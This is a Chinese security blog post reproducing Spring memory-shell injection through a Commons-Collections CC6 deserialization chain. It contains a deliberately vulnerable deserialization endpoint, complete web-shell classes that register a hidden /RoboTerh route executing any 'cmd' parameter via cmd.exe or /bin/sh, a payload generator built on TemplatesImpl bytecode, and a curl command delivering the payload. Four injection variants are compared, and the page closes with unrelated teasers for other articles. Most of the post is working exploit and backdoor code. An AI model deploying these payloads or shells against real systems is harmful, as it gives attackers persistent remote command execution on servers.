spring回显方式在代码层面的复现

一颗小胡椒2022-11-22 10:18:45

前言

在前面的一章中,主要在理论上进行了各种内存马的实现,这里就做为上一篇的补充,自己搭建反序列化的漏洞环境来进行上文中理论上内存马的注入实践。

这是内存马系列文章的第十四篇。

环境搭建

可以使用我用的漏洞环境

https://github.com/Roboterh/JavaSecCodeEnv/blob/main/src/main/java/com/roboterh/vuln/controller/CommonsCollectionsVuln.java

或者自己搭建环境,使用:

  • spring-boot 2.5.0
  • commons-collections 3.2.1

我们使用commons-collections反序列化链作为一个反序列化漏洞的点,我们创建一个Controller类:

package com.roboterh.vuln.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;
@Controller
public class CommonsCollectionsVuln {
    @ResponseBody
    @RequestMapping("/unser")
    public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream =  request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        response.getWriter().println("successfully!!!");
    }
    @ResponseBody
    @RequestMapping("/demo")
    public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        response.getWriter().println("This is a Demo!!!");
    }
}

/unser路由中获取了请求体输入流进行了反序列化调用。

正文

Way 1

这个内存马主要是在spring controller内存马注入中提到的方式,但是这里有一点不同的是,在直接使用前面的代码进行内存马注入的过程中,并不能够成功注入。

在debug过程中,发现是因为不能够找到他的构造方法而报错,更改后的注入方式。

1.首先是创建一个继承了AbstractTranslet类的一个类:

package pers.cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
public class SpringMemshell extends AbstractTranslet {
    // 第一个构造函数
    static {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中test的 Method 对象
        Method method2 = null;
        try {
            method2 = SpringMemshell.class.getMethod("test");
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        }
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/RoboTerh");
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
        SpringMemshell evilController = new SpringMemshell();
        mappingHandlerMapping.registerMapping(info, evilController, method2);
    }
    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        //exec
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){}
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

直接我们使用CC6链进行注入:

package pers.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.aspectj.util.FileUtil;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6_plus {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception{
        byte[] bytes = FileUtil.readAsByteArray(new File("SpringMemshell.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                bytes
        });
        setFieldValue(obj, "_name", "1");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        InstantiateFactory instantiateFactory;
        instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class
                ,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});
        FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
        ConstantTransformer constantTransformer = new ConstantTransformer(1);
        Map innerMap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        setFieldValue(outerMap,"factory",factoryTransformer);
        outerMap.remove("keykey");
        serialize(expMap);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
        out.writeObject(obj);
    }
}

之后,我们将我们生成的序列化数据存放在了1.ser文件中。

2.在得到序列化数据之后,运行漏洞环境,通过curl命令来发送序列化数据进行反序列化:

curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"

最后可以验证注入效果。

能够成功注入,solve it !!

Way 2

way 1中是使用的通过

(WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)

来获取的一个Child Context环境,进而操控RequestMappingHandlerMapping类对象,调用了其registerMapping进行路由的注册。

这里我们换用上篇文章中提到的ContextLoader.getCurrentWebApplicationContext()来测试是否能够成功注入。

在我简单的将前面获取上下文环境中的代码进行替换:

发现并不能够注入,原因是因为在调用ContextLoader.getCurrentWebApplicationContext方法中,并没有得到上下文对象。

那为什么不能够得到呢?

在上一篇中的讲解中我们从注释中也知道了ContextLoader类主要是通过ContextLoaderListener来进行初始化的工作的。

所以,只有配置了ContextLoaderListener这个监听器之后才可以使用这个类,我们环境中并没有进行配置,当然不能够获取到上下文环境捏!

但是在springboot中的解决方案官方主要是实现了一个ApplicationContextAware接口的类中设置一个存放上下文环境的属性。这里我们通过spring项目的web.xml来进行实验:

在配置了该监听器之后,能够通过这种方式获取到上下文环境:

但是在这里又遇到了问题,在获取RequestMappingHandlerMapping这个bean的时候提示找不到这个bean。

那又是因为什么捏?

因为通过这种方式获取的Context是一个Root Context,对于Context来说,允许Child Context访问Root Context中的Bean,反之是不允许的。

所以我们想要使用这种方法获取该bean,不仅需要使用ContextLoaderListener这个监听器,还需要使得最低我们需要的RequestMappingHandlerMapping这个bean是存在于Root Context中,即是在applicationContext.xml中进行的配置。

总结一下,很明显,在能够获取Child Context的情况下,选择前者的方法更占优也更加普遍。

Way 3

这里对于way 1中的实现中的改造主要是在进行Controller的动态创建中,主要是利用了DefaultAnnotationHandlerMapping该映射器的特点,能够将注解转换成对应的映射关系。但是在高版本spring中已经不存在这个类了,被其他类给替换掉了。

给个小例子:

@Controller
public class SpringMemshell1 extends AbstractTranslet {
    static {
        // 1.获取上下文环境
        ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 2.通过调用registerSingleton注册一个bean
        try {
            context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
        } catch (Exception e) {
            e.printStackTrace();
        }
        // 3.获取DefaultAnnotationHandlerMapping这个实现类
        DefaultAnnotationHandlerMapping defaultAnnotationHandlerMapping = context.getBean(DefaultAnnotationHandlerMapping.class);
        // 4.反射获取对应的registerHandler
        try {
            Method registerHandler = AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
            // 5.调用该方法进行注册路由和handler
            registerHandler.setAccessible(true);
            System.out.println("try....");
            registerHandler.invoke(defaultAnnotationHandlerMapping, "/RoboTerh", "test");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @RequestMapping("/RoboTerh")
    public void test(HttpServletRequest request, HttpServletResponse response) {
        //exec
        try {
            String arg0 = request.getParameter("cmd");
            System.out.println("RoboTerh....");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){}
    }
}

Way 4

对于该方法相比较于Way 1中的构造也是变化在了Controller创建位置,

主要的点是在AbstractHandlerMethodMapping#detectHandlerMethods方法中:

在使用CC6反序列化利用链进行内存马的注入过程中,在static代码块中进行了如下逻辑:

1.首先创建一个带有Controller注解的Singleton

PS:后面会有解析其中注解的逻辑

2.因为AbstractHandlerMethodMapping是一个抽象类,所以我们通过使用他的实现类RequestMappingHandlerMapping来反射获取对应的detectHandlerMethods方法

3.最后反射调用这个方法,传入的参数是我们前面注册的一个handler

具体解析注解的逻辑如下:

1.首先通过调用MethodIntrospector.selectMethods进行解析对应的注解,返回了一个LinkedHashMap类对象:

存放着方法和路由的映射关系

2.遍历这个Map,通过AOP实现获取可调用的方法对象。之后就是调用registerHandlerMethod方法,进行Controller注册的步骤了。

相比于Way 1那种内存马的实现,其实最后进行路由注册的API都是同一个,在Way 1中,直接是通过调用registerHandlerMethod方法,传入的是,自己构造的mapping / handler / method参数动态进行Controller的创建。

但是在该方法中,主要是通过自己通过构造一个带有Controller相关注解的类,调用detectHandlerMethods方法的方式自动进行注解的解析,生成了对应的方法和路由的映射

给出实验的代码:

// 1.获取上下文环境
ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2.通过调用registerSingleton注册一个bean
try {
    context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
} catch (Exception e) {
    e.printStackTrace();
}
// 3.获取RequestMappingHandlerMapping这个实现类
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 4.反射获取对应的detectHandlerMethods
try {
    Method registerHandler = AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
    // 5.调用该方法进行注册路由和handler
    registerHandler.setAccessible(true);
    System.out.println("try....");
    registerHandler.invoke(requestMappingHandlerMapping, "test");
} catch (Exception e) {
    e.printStackTrace();
}

能够成功注入该内存马。

同样在控制台中也打印除了我内置的一个测试代码:

stringcontext
本作品采用《CC 协议》,转载必须注明作者和本文链接
S2-007的漏洞原理是在处理类型转换的错误时会存入错误到内存中,在后续调用流程中触发OGNL表达式注入。
Resin解析漏洞分析
2021-10-30 06:26:47
前阵子看有师傅在公众号上发表了Resin解析漏洞分析,我们也知道有个常用的OA用的就是Resin,因此我认为了解它的漏洞是十分必要的。
前段时间Confluence发布了CVE-2021-26085补丁,刚好之前分析过Confluence的漏洞,免去了搭建漏洞分析环境的麻烦,因此分析下这个漏洞。 分析过程 漏洞点定位 这个漏洞爆出来已经有一段时间了,所以已经有公开的POC了
Kernel PWN从入门到提升
2023-03-23 10:17:57
所以我决定用此文章结合一道不错的例题尽可能详细的来讲一下kernel pwn从入门过渡到较高难度的部分,供想要学习kernel pwn的小伙伴们参考。文件系统kernel题一般都会给出一个打包好的文件系统,因此需要掌握常用到的打包/解包命令。
本文会详细叙述客户端风控对抗的“边界值”在哪里,如果你是在做风控对抗 ,不管你是这场游戏中在演“猫”的角色还是“老鼠”的角色 。本文将站在上帝视角去讲解对应的“规则” 和“玩法”,以及如何实现角色转换。通过之前的系列文章,配合这篇文章希望每个小白玩家都能知道大厂是怎么玩的,如何设置游戏规则,我们应该如何进行解谜。而这个协议里面具体发送的内容,就是IPC协议装的“包裹”就是用的Parcel 。
2020年4月,Mozilla安全公告披露并修复了我在Firefox 68.5提交的一个漏洞,漏洞编号为CVE-2020-6828。攻击者可利用该漏洞覆盖Firefox私有目录中的文件,从而控制浏览器的任意配置项,如配置代理服务器,关闭同源策略等,造成等同与任意代码执行的危害。漏洞原理Firefox允许外部APP调用它打开Content URI。
不像其他全栈框架,bud生成的初始代码非常少,再添加依赖之后,bud才会生成所有的代码。用bud run运行项目,开启一个开发模式的Server:bud run. 其他Bud框架并没有自己的ORM,用户可自行选择orm框架,通过依赖注入在控制器中使用。另外,还有全栈框架包含的特性,如错误处理、插件系统、数据验证及安全、日志、队列与定时任务、文件与存储等都可以在官方文档上找到。
对于 Android app 本身来说,也是会存在一些组件安全漏洞的,本文就介绍一些常见的Android组件漏洞。
看雪论坛作者ID:随风而行aa
APP开发的背景知识的介绍APP开发遵循逻辑和视图分离的思想:我们创建一个activity,android studio会自动生成其对应的xml文件。视图视图在xml中定义:可以直接可视化移动一个按钮进视图,也可以用代码编写。
一颗小胡椒
暂无描述